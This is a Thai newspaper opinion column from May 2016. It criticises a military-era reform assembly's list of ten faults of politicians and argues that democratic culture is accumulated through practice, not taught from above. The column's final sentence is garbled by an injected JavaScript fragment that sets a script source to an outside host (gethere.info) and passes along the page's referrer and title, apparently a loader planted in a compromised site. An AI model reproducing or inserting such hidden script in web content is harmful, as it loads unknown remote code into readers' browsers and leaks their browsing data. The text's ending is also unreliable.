มติชนรายวัน ฉบับประจำวันจันทร์ที่ 30 พฤษภาคม 2559

 

ชอบสั่งสอน ไม่สั่งสม

ในสังคมเผด็จการทหาร

 

          สภาขับเคลื่อนการปฏิรูปประเทศ (สปท.) บอกว่าต้องปฏิรูปวัฒนธรรมทางการเมือง แล้วสรุปลักษณะของนักการเมืองที่ต้องปฏิรูปมี 10 ประการ คือ

          (1.) พวกเห็นแก่ตัว แสวงหาอำนาจและผลประโยชน์ โดยเฉพาะชอบทุจริตคอร์รัปชั่น และแทรกแซงข้าราชการ (2.) ขาดอุดมการณ์ทางการเมืองและขาดความรับผิดชอบต่อบ้านเมืองและประชาชน (3.) สร้างสถานการณ์เพื่อเป็นช่องทางหากิน หาผลประโยชน์บนความทุกข์ร้อนของชาวบ้าน (4.) สร้างปัญหาในบ้านเมืองให้วุ่นวายเข้าไว้ เพื่อผลประโยชน์ของตัวเองและพวกพ้อง เข้าประเภทสู้แล้วรวย และพวกใช้สื่อสาธารณะปลุกปั่นยุยงประชาชนให้เกิดการแตกแยก (5.) นักการเมืองที่ไม่มีคุณภาพ พวกเรียกร้องความสนใจ พูดจาไร้สาระ เอาดังเข้าไว้

          (6.) ไม่มีมารยาททางการเมือง ขาดคุณธรรม ขาดจริยธรรม (7.) พวกอิจฉาตาร้อน พวกหลงตัวเอง ชอบท้าทายและชอบให้ร้ายคนอื่น (8.) พวกไขว่คว้าหาอำนาจ มักหาเงินและใช้เงินในทางที่ผิด เช่น นำเงินมาซื้อเสียง (9.) พวกที่เอาประชาชนเป็นตัวประกัน แล้วสร้างประชาชนให้เกิดแตกแยก และ (10.) พวกได้แล้วไม่รู้จักพอ เช่น พวกได้คืบเอาศอก

          (มติชน ฉบับวันอังคารที่ 24 พฤษภาคม 2559 หน้า 8)

 

วัฒนธรรมการเมือง

          วัฒนธรรมการเมืองประชาธิปไตย เป็นระบบความสัมพันธ์อย่างเสมอภาคที่มีขึ้นจากการสั่งสมของวิถีชีวิตประจำวันในสังคมประชาธิปไตย

          แต่ไม่เกิดจากการสั่งสอนโดยความสำคัญตนผิดจากใครคนใดคนหนึ่ง หรือกลุ่มใดกลุ่มหนึ่งที่เลื่อมใสเผด็จการทหาร

          ไทยให้ความสำคัญคนดีมากกว่าระบบ เรื่องนี้มีครูบาอาจารย์อธิบายไว้นานแล้ว ว่าระบบไม่เคยได้รับการสถาปนาขึ้นอย่างมั่นคง ผู้ใฝ่หาอำนาจพากันตั้งตัวเป็นคนดี และประกาศความดีของตนแก่สาธารณะอย่างไม่ต้องละอาย จะได้อยู่พ้นไปจากการตรวจสอบของคนอื่น เพราะการตรวจสอบมีได้ก็โดยผ่านระบบเท่านั้น

          ปฏิรูปวัฒนธรรมทางการเมืองของ สปท. จึงเป็นละครฉากหนึ่งของการประกาศความดีของตนและพวกพ้องแก่สาธารณะs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;